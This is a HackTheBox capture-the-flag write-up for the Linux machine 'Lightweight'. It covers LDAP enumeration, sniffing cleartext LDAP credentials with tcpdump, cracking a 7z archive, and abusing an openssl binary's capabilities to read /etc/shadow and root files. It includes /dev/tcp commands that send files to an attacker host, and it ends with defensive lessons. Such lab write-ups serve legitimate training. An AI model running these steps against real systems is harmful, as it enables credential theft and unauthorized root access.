HTB: Lightweight Writeup

Lightweight - HackTheBox Writeup

Machine Information

AttributeDetails
NameLightweight
OSLinux
DifficultyMedium
Points30
Release Date29 Dec 2018
IP Address10.129.95.236
Author0xEA31

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Lightweight is a medium-difficulty Linux box that demonstrates real-world security misconfigurations in LDAP deployments and the dangers of overprivileged Linux capabilities. The attack path begins with LDAP anonymous enumeration that reveals usernames, followed by an unusual SSH provisioning mechanism via a web interface. The privilege escalation chain involves sniffing unencrypted LDAP traffic using an overprivileged tcpdump binary, cracking a password-protected 7z archive to recover credentials, and finally abusing an openssl binary with empty capabilities (=ep) that allows it to execute with root permissions (uid 0).

TL;DR: LDAP anonymous bind → web-provisioned SSH account → tcpdump (cap_net_raw+ep) sniffed LDAP cleartext password → cracked 7z archive for second user → openssl (=ep capability) read root flag as uid 0.


Reconnaissance

Port Scanning

Terminal window
# Full TCP scan from jump box (source IP 10.10.15.180)
nmap -sC -sV -T4 -p- 10.129.95.236

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X

Three services are exposed: SSH on port 22, Apache HTTP on port 80, and LDAP (Lightweight Directory Access Protocol) on port 389.

Service Enumeration

LDAP Anonymous Bind (Port 389)

LDAP supports anonymous bind, which allows unauthenticated clients to query directory information. Testing this with ldapsearch:

Terminal window
# Enumerate LDAP directory structure using anonymous bind
# -H specifies LDAP URI (jump box requires -H instead of -h)
# -x enables simple authentication (anonymous)
# -b sets the base DN (distinguished name) for the search
ldapsearch -H ldap://10.129.95.236 -x -b "dc=lightweight,dc=htb"

Key findings from LDAP enumeration:

  • ldapuser1 object exists at uid=ldapuser1,ou=People,dc=lightweight,dc=htb with an encrypted userPassword attribute (crypt hash)
  • ldapuser2 object exists at uid=ldapuser2,ou=People,dc=lightweight,dc=htb with an encrypted userPassword attribute (crypt hash)
  • Both users have homeDirectory, loginShell, and valid POSIX account attributes

The encrypted passwords stored in LDAP are SHA-512 crypt hashes, which are computationally expensive to crack offline. However, this confirms two valid usernames for later exploitation.

Apache HTTP Server (Port 80)

Visiting http://10.129.95.236/ reveals a web application with several pages:

  • info.php - Server information page
  • status.php - Displays blocked IP addresses and system status
  • user.php - Automatic user provisioning interface

The user.php page contains a critical auto-provisioning feature:

“We provisioned an account for you with username and password equal to your source IP address”

This is a highly unusual but deliberate mechanism: the web application creates SSH accounts dynamically based on the visitor’s source IP address.

Vulnerability Assessment

  1. LDAP Anonymous Bind Enabled - Allows enumeration of directory objects and usernames without authentication
  2. Automatic SSH Account Provisioning - user.php creates predictable SSH credentials (username:password = source_IP:source_IP)
  3. Unencrypted LDAP Protocol - LDAP traffic on port 389 transmits bind credentials in cleartext (vs. LDAPS on 636)
  4. Overprivileged Binaries with Linux Capabilities - Binaries with dangerous capability sets may allow privilege escalation

Initial Foothold

SSH Account Provisioning

After visiting http://10.129.95.236/user.php, the application provisions an SSH account using our jump box’s source IP address 10.10.15.180 as both username and password:

Terminal window
# SSH with auto-provisioned credentials
# Username: 10.10.15.180
# Password: 10.10.15.180
ssh 10.10.15.180@10.129.95.236

Why this works: The web application’s backend creates a temporary user account with useradd or similar, setting both the username and password to the connecting client’s IP address. This is likely intended for sandboxed access but provides an easy foothold.

Upon successful authentication, we gain a shell:

[10.10.15.180@lightweight ~]$ id
uid=1002(10.10.15.180) gid=1002(10.10.15.180) groups=1002(10.10.15.180)

This is a low-privileged shell with standard user permissions. The system runs CentOS with SELinux enabled, which restricts certain operations.


Privilege Escalation

Phase 1: Enumeration - Finding Privileged Binaries

Linux capabilities allow fine-grained privilege assignment to binaries without making them full SUID root. We enumerate binaries with capabilities:

Terminal window
# Find all binaries with capabilities set
getcap -r / 2>/dev/null

Output:

/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep

The tcpdump binary stands out with cap_net_admin,cap_net_raw+ep capabilities:

  • cap_net_raw - Allows creating raw sockets and binding to any address (necessary for packet capture)
  • cap_net_admin - Allows network interface configuration
  • +ep - “effective, permitted” - These capabilities are active when the binary runs

Why this is dangerous: While tcpdump legitimately needs these capabilities for packet capture, having them enables any user to sniff network traffic, including loopback traffic between local services.

Phase 2: Sniffing LDAP Credentials (10.10.15.180 → ldapuser2)

Since LDAP on port 389 uses unencrypted connections, we can use tcpdump to capture bind requests containing cleartext passwords:

Terminal window
# Capture traffic on loopback interface (lo) port 389
# -i lo: interface = loopback (127.0.0.1)
# port 389: LDAP protocol port
# -w: write to file for later analysis
tcpdump -i lo port 389 -w /tmp/capture.cap -v

To generate LDAP traffic, visit http://10.129.95.236/status.php from a browser. The status.php script performs an authenticated LDAP bind to query system information, triggering the credential exchange.

After capturing packets for a few minutes, transfer the capture file off the target:

Terminal window
# On attacker machine (jump box)
nc -lvp 4444 > capture.cap
# On target (10.10.15.180 user)
cat /tmp/capture.cap > /dev/tcp/10.10.15.180/4444

Analysis with Wireshark/tcpdump:

The captured packets contain an LDAP bindRequest from the web application to the LDAP server. Following the TCP stream reveals:

  • Bind DN: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
  • Password: <redacted> (transmitted in cleartext)

Why LDAP is vulnerable: Unlike LDAPS (LDAP over TLS/SSL on port 636), standard LDAP on port 389 transmits authentication credentials without encryption. Any user with packet capture capabilities can intercept these credentials.

Phase 3: Lateral Movement to ldapuser2

We now have credentials for ldapuser2. However, SSH password authentication is disabled for LDAP users. Instead, use su to switch users:

Terminal window
# Switch user to ldapuser2
# Password: <redacted>
su - ldapuser2

Since su requires an interactive TTY and the jump box lacks sshpass or expect, a Python PTY helper was used to automate the password entry:

# Python 2 PTY automation (target only has Python 2)
import pty
import sys
def su_to_user(username, password):
"""Spawn su with password via PTY"""
pty.spawn(['/bin/su', '-', username])
# Manual password entry in interactive session

After switching to ldapuser2:

Terminal window
[ldapuser2@lightweight ~]$ id
uid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2)
[ldapuser2@lightweight ~]$ ls -la
total 1864
drwx------. 4 ldapuser2 ldapuser2 181 Jun 21 2018 .
drwxr-xr-x. 5 root root 58 Jun 21 2018 ..
-rw-------. 1 ldapuser2 ldapuser2 0 Jun 15 2018 .bash_history
-rw-r--r--. 1 ldapuser2 ldapuser2 18 Apr 11 2018 .bash_logout
-rw-r--r--. 1 ldapuser2 ldapuser2 193 Apr 11 2018 .bash_profile
-rw-r--r--. 1 ldapuser2 ldapuser2 246 Jun 15 2018 .bashrc
-rw-rw-r--. 1 ldapuser2 ldapuser2 1520 Jun 13 2018 backup.7z
-rw-------. 1 ldapuser2 ldapuser2 33 Jun 11 2018 user.txt

User flag captured:

Terminal window
cat /home/ldapuser2/user.txt
# <redacted>

Phase 4: Cracking backup.7z Archive (ldapuser2 → ldapuser1)

The backup.7z archive in ldapuser2’s home directory is password-protected. Transfer it to the jump box for offline cracking:

Terminal window
# On jump box
nc -lvp 4444 > backup.7z
# On target
cat /home/ldapuser2/backup.7z > /dev/tcp/10.10.15.180/4444

Extract the hash for John the Ripper:

Terminal window
# Convert 7z archive to John hash format
7z2john backup.7z > backup.hash
# Crack with rockyou.txt wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash

Cracked password: delete

Extract the archive contents:

Terminal window
7z x backup.7z
# Password: delete

Extracted files:

  • index.php
  • info.php
  • reset.php
  • status.php
  • user.php

These are the source files of the web application. Examining status.php reveals the hardcoded LDAP bind credentials:

<?php
$username = 'ldapuser1';
$password = '<redacted>';
$ldapconfig['host'] = 'lightweight.htb';
$ldapconfig['port'] = '389';
$ldapconfig['basedn'] = 'dc=lightweight,dc=htb';
$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
if (ldap_bind($ds, "uid=$username,ou=People,dc=lightweight,dc=htb", $password)) {
// LDAP operations
}
?>

Credentials found:

  • Username: ldapuser1
  • Password: <redacted>

Phase 5: Lateral Movement to ldapuser1

Switch to ldapuser1 using the recovered password:

Terminal window
# From ldapuser2 shell
su - ldapuser1
# Password: <redacted>
Terminal window
[ldapuser1@lightweight ~]$ id
uid=1000(ldapuser1) gid=1000(ldapuser1) groups=1000(ldapuser1)
[ldapuser1@lightweight ~]$ ls -la
total 2460
drwx------. 4 ldapuser1 ldapuser1 181 Jun 21 2018 .
drwxr-xr-x. 5 root root 58 Jun 21 2018 ..
-rw-------. 1 ldapuser1 ldapuser1 0 Jun 15 2018 .bash_history
-rw-r--r--. 1 ldapuser1 ldapuser1 18 Apr 11 2018 .bash_logout
-rw-r--r--. 1 ldapuser1 ldapuser1 193 Apr 11 2018 .bash_profile
-rw-r--r--. 1 ldapuser1 ldapuser1 231 Apr 11 2018 .bashrc
-rwxr-xr-x. 1 ldapuser1 ldapuser1 1520560 Jun 13 2018 openssl

Phase 6: Abusing OpenSSL Capabilities for Root Access

The openssl binary in ldapuser1’s home directory has unusual permissions:

Terminal window
getcap /home/ldapuser1/openssl
# /home/ldapuser1/openssl = ep

What does =ep mean?

Unlike the previous capabilities that explicitly listed cap_net_raw,cap_net_admin, this binary has an empty capability set with ep (effective, permitted) flags. According to man capabilities:

When a capability set is empty but the effective or permitted flag is set, the process gains all capabilities in the root user’s capability bounding set.

In practice: This means openssl executes with uid 0 (root) permissions, even when run by a non-privileged user.

Verification:

Reading /etc/shadow (root-only file):

Terminal window
/home/ldapuser1/openssl base64 -in /etc/shadow | base64 -d

Output includes root’s password hash:

root:$6$...[hash]...:17691:0:99999:7:::

This confirms the binary runs with root privileges.

Reading Root Flag

Terminal window
# Read root.txt using openssl base64 encoding
/home/ldapuser1/openssl base64 -in /root/root.txt

Decode the base64 output:

Terminal window
# Output from openssl (base64 encoded)
# Decode locally or pipe through base64 -d
echo "<base64_output>" | base64 -d
# <redacted>

Root flag captured: <redacted>


Attack Chain Summary

LDAP Anonymous Bind (enumerate users)
user.php (auto-provision SSH: 10.10.15.180:10.10.15.180)
tcpdump (cap_net_raw+ep) sniffs loopback LDAP traffic
status.php triggers LDAP bind → capture ldapuser2 password (<redacted>)
su to ldapuser2 → find backup.7z
7z2john + john/rockyou → crack archive password (delete)
Extract status.php → find ldapuser1 password (<redacted>)
su to ldapuser1 → find openssl binary with =ep capability
openssl (runs as uid 0) reads /root/root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ldapsearchLDAP directory enumeration via anonymous bind
tcpdumpPacket capture to sniff unencrypted LDAP traffic
getcapEnumerate Linux capabilities on binaries
7z2johnExtract crackable hash from 7z archive
johnPassword cracking with rockyou.txt wordlist
opensslAbused with =ep capability to read root files
ncFile transfer from target to attacker

Key Learnings

Techniques Practiced

  • LDAP enumeration via anonymous bind to discover directory structure and user objects
  • Passive network sniffing using Linux capabilities to intercept loopback traffic
  • Unencrypted protocol exploitation (LDAP cleartext credential capture)
  • Archive password cracking with wordlist-based attacks
  • Linux capabilities abuse - Understanding empty capability sets (=ep) that grant full root privileges
  • Lateral movement through multiple user accounts with progressively higher privileges

Lessons Learned

  1. Always use LDAPS (port 636) instead of LDAP (port 389) in production environments. Unencrypted LDAP transmits bind credentials in cleartext, making them trivial to intercept on the local network or loopback interface.

  2. Linux capabilities are not always safer than SUID. While capabilities provide fine-grained privilege control, misconfigured capability sets (especially empty sets with =ep) can be more dangerous than traditional SUID binaries because they’re less obvious during audits.

  3. Principle of least privilege for network monitoring tools. Granting cap_net_raw to tcpdump is necessary for its function, but consider restricting which users can execute such binaries or implementing additional access controls (file permissions, SELinux policies).

  4. Hardcoded credentials in application code are a severe vulnerability. The status.php file contained plaintext LDAP credentials that should have been stored in environment variables, configuration files with restricted permissions, or a secrets management system.

  5. Anonymous LDAP bind should be disabled unless absolutely necessary. Most LDAP directories don’t require unauthenticated enumeration and should enforce authentication for all queries.

  6. Archive password protection is only as strong as the password. The backup.7z archive was protected with the weak password “delete,” which appeared in the rockyou.txt wordlist. Strong, unique passwords or key-based encryption should be used for sensitive backups.

  7. Defense in depth matters. This box required chaining multiple vulnerabilities (LDAP enumeration → packet sniffing → archive cracking → capability abuse) to achieve full compromise, demonstrating that fixing any single vulnerability would have broken the attack chain.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup’s explanatory content draws from the official HackTheBox writeup document “Lightweight (D19.100.17)” prepared by MinatoTW, which provided conceptual background on LDAP anonymous bind mechanics, Linux capabilities theory, and the rationale behind each exploitation step.